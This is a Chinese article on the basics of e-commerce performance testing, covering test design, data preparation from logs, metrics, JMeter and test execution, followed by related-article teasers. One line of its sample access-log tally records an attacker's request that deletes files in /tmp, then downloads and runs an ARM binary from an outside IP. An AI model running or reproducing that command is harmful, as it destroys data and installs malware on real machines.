实战 | 电商业务的性能测试(一): 必备基础知识

简介: ![](https://ceshiren.com/uploads/default/original/3X/7/5/756e5e8564a4e57c44190330107ba54ca7676e16.jpeg)- 需求分析与测试设计(性能需求目标+业务模型拆解)- 测试数据准备和构造(基于模型的数据准备)- 性能指标预期(性能需求目标)- 发压工具配置及脚本编写(压力策略)- 测试过程(

  • 需求分析与测试设计(性能需求目标+业务模型拆解)
  • 测试数据准备和构造(基于模型的数据准备)
  • 性能指标预期(性能需求目标)
  • 发压工具配置及脚本编写(压力策略)
  • 测试过程(预计的前置准备过程和压测时间点规划)
  • 结果分析与测试报告
  • 新上线系统性能测试:要求容量测试,系统最大容量
  • 系统升级类性能测试:和基线版本对比,性能不下降
  • 新系统性能优化测试:伴随调优目标的性能测试
  • 自己构造:自己抓包等,这个有个问题就是后端可能有缓存而造成对实际压力程度的影响
  • 日志获取:推荐常用,通过日志或数据库获取大批量的数据然后打散

$ cat access.log | awk '{print $7}' | sort | uniq -c | sort -nr | head -15
4709 /sso/register
4703 /sso/login
157 400
139 /
  8 http://www.baidu.com/cache/global/img/gs.gif
  5 /index.php
  4 mstshash=Administr"
  4 /license.txt
  4 ip.ws.126.net:443
  4 "
  2 /sso/getAuthCode?telephone=17138134641
  2 /sso/getAuthCode?telephone=17127460936
  2 /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7
  2 /robots.txt
  2 /phpmyadmin/
  • 上下关联:
  • 1.每秒请求数(QPS)
  • 2.请求响应时间(最大,最小,平均值)
  • 3.错误率
  • 4.机器性能:cpu idel30%,memory无剧烈抖动或飙升
  • 5.压测过程接口功能是否正常
  • 6.不同性能测试方式下指标预期是否有差异
  • 压测场景:单接口/复杂事物——>场景构造
  • 压力需求:<1000QPS 或者万级以上的使用Jmeter分布式支持的方式
  • 是否周期性:Jmeter jmx场景文件,数据驱动,结果落库
  • 二次开发需求:Jmeter开源插件化思想,支持Thrift
  • 协议支持:Dubbo等多种协议,可以快速平台化
  • 问题支持:开放社区,广泛使用
  • 1、测试前环境检查:记录机器参数
  • 2、起压:根据被压情况,调节并发量到合适情况
  • 3、查看记录各项性能指标
  • nginx日志查看每秒请求数
  • 查看nginx错误请求
  • 查看机器参数:cpu idel、mem等
  • 查看db、cache等数据是否写入正常
  • 访问接口,查看功能是否正常

原文链接
更多技术分享:https://qrcode.ceba.ceshiren.com/link?name=article&project_id=qrcode&from=Aliyun&timestamp=1650618265
获取更多内容

相关文章
|
21天前
|
搜索推荐 数据可视化 图形学
《Unity原生融合:体验生态构建与玩法裂变的实战指南》
本文聚焦Unity游戏开发的创新技术实践,跳出传统“模块拼接”思维,提出“玩法原生融合”的核心。文章围绕六大关键技术维度展开:以“叙事化场景基因植入”让场景成为叙事载体;通过“体感化交互势能传递”构建沉浸式操作体验;打造“多维成长裂变”体系实现个性化养成;构建“情绪化光影语法”让光影传递情感;运用“体验无缝缝合技术”打破场景切换割裂感。整套方案融合实战经验与创新思维,强调体验元素的底层共生与生态化构建,摒弃冗余理论,聚焦实操逻辑,为开发者提供兼具深度与实用性的技术路径,助力游戏实现从“功能叠加”到“体验升维”的跨越。
|
18天前
|
PHP 数据库
告别蛮力:用生成器(Generator)优雅处理PHP海量数据
告别蛮力:用生成器(Generator)优雅处理PHP海量数据
|
9月前
|
存储 分布式计算 DataWorks
阿里云助力富友数据中台革新,创新引擎赋能商户数字化经营
在电子商务和跨境交易蓬勃发展的背景下,第三方支付行业迎来爆发式增长,但也面临数据量激增、实时性瓶颈、高并发压力及成本效率失衡等挑战。富友支付通过引入MaxCompute、Hologres和DataWorks等技术,重构新一代数据仓库体系,实现高性能、高稳定性和降本增效,助力商户数字化经营,推动支付行业生态的可持续发展。
|
6月前
|
Java 测试技术 API
现代化 java 分层开发实施策略与最佳实践指南
现代化Java分层开发采用清晰的多层架构,包括Controller、Service、Repository和DTO等核心层次。文章详细介绍了标准Maven/Gradle项目结构,各层职责与实现规范:实体层使用JPA注解,DTO层隔离数据传输,Repository继承JpaRepository,Service层处理业务逻辑,Controller层处理HTTP请求。推荐使用Spring Boot、Lombok、MapStruct等技术栈,并强调了单元测试和集成测试的重要性。这种分层设计提高了代码的可维护性、可测试
275 1
|
SQL 关系型数据库 MySQL
大厂面试官:聊下 MySQL 慢查询优化、索引优化?
MySQL慢查询优化、索引优化,是必知必备,大厂面试高频,本文深入详解,建议收藏。关注【mikechen的互联网架构】,10年+BAT架构经验分享。
大厂面试官:聊下 MySQL 慢查询优化、索引优化?
|
机器学习/深度学习 人工智能 jenkins
探索软件测试中的自动化与持续集成
【10月更文挑战第21天】 在软件开发的生命周期中,软件测试扮演着至关重要的角色。随着技术的进步和开发模式的转变,自动化测试和持续集成已经成为提高软件质量和效率的关键手段。本文将深入探讨自动化测试和持续集成的概念、实施策略以及它们如何相互配合以优化软件开发流程。我们将通过分析实际案例,展示这些技术如何在实际项目中发挥作用,以及面临的挑战和解决方案。此外,文章还将讨论未来趋势,包括人工智能在测试领域的应用前景。
305 17
|
运维 Prometheus 监控
🎉 WatchAlert - 开源多数据源告警引擎【运维研发必备能力】
WatchAlert 是一个开源的多数据源告警引擎,支持从 Prometheus、Elasticsearch、Kubernetes 等多种数据源获取监控数据,并根据预定义的告警规则触发告警。它具备多数据源支持、灵活的告警规则、多渠道告警通知、可扩展架构和高性能等核心特性,帮助团队更高效地监控和响应问题。项目地址:https://github.com/opsre/WatchAlert
1551 18
🎉 WatchAlert - 开源多数据源告警引擎【运维研发必备能力】
|
设计模式 Java API
Quarkus RESTful API性能揭秘:如何打造极速响应的应用程序?
在互联网高速发展的背景下,企业对应用性能的要求日益提升。Quarkus作为一款基于Java的开源框架,以出色的性能和简洁的设计模式成为开发者的首选。本文通过实例展示如何利用Quarkus构建响应迅速的RESTful API应用。首先创建Maven项目并配置Quarkus依赖,接着逐步实现用户管理系统的各个模块,包括实体类、数据访问层、服务层及资源层,最终完成一个高性能的RESTful API。通过Quarkus,开发者可以更高效地开发出轻量级且响应快速的应用程序。
222 1
|
运维 Cloud Native 持续交付
【阿里云云原生专栏】从零到一搭建云原生应用:阿里云云原生应用平台实战教程
【5月更文挑战第24天】本文档是一份阿里云云原生应用平台的实战教程,介绍了如何从零开始搭建云原生应用。内容涵盖云原生应用的特点(容器化、微服务、CI/CD和自动化运维)以及阿里云提供的服务,如容器服务、服务网格和CI/CD工具。教程详细讲解了创建容器集群、编写Dockerfile、构建镜像、部署应用、配置服务网格和设置CI/CD的步骤。通过本文,读者将学会利用阿里云平台开发和管理云原生应用。
1331 0
|
编解码 测试技术 API
模拟手机设备:使用 Playwright 实现移动端自动化测试
本文介绍了使用Python的Playwright库进行移动设备模拟和自动化测试的方法。通过Playwright,开发者能模拟不同设备的硬件和软件特性,如屏幕尺寸、用户代理,以确保网站在移动设备上的表现。示例代码展示了如何模拟iPhone X并访问网站,之后可在此基础上编写测试代码以检验响应式布局和交互功能。Playwright的设备参数注册表支持多种设备,简化了移动端自动化测试的流程。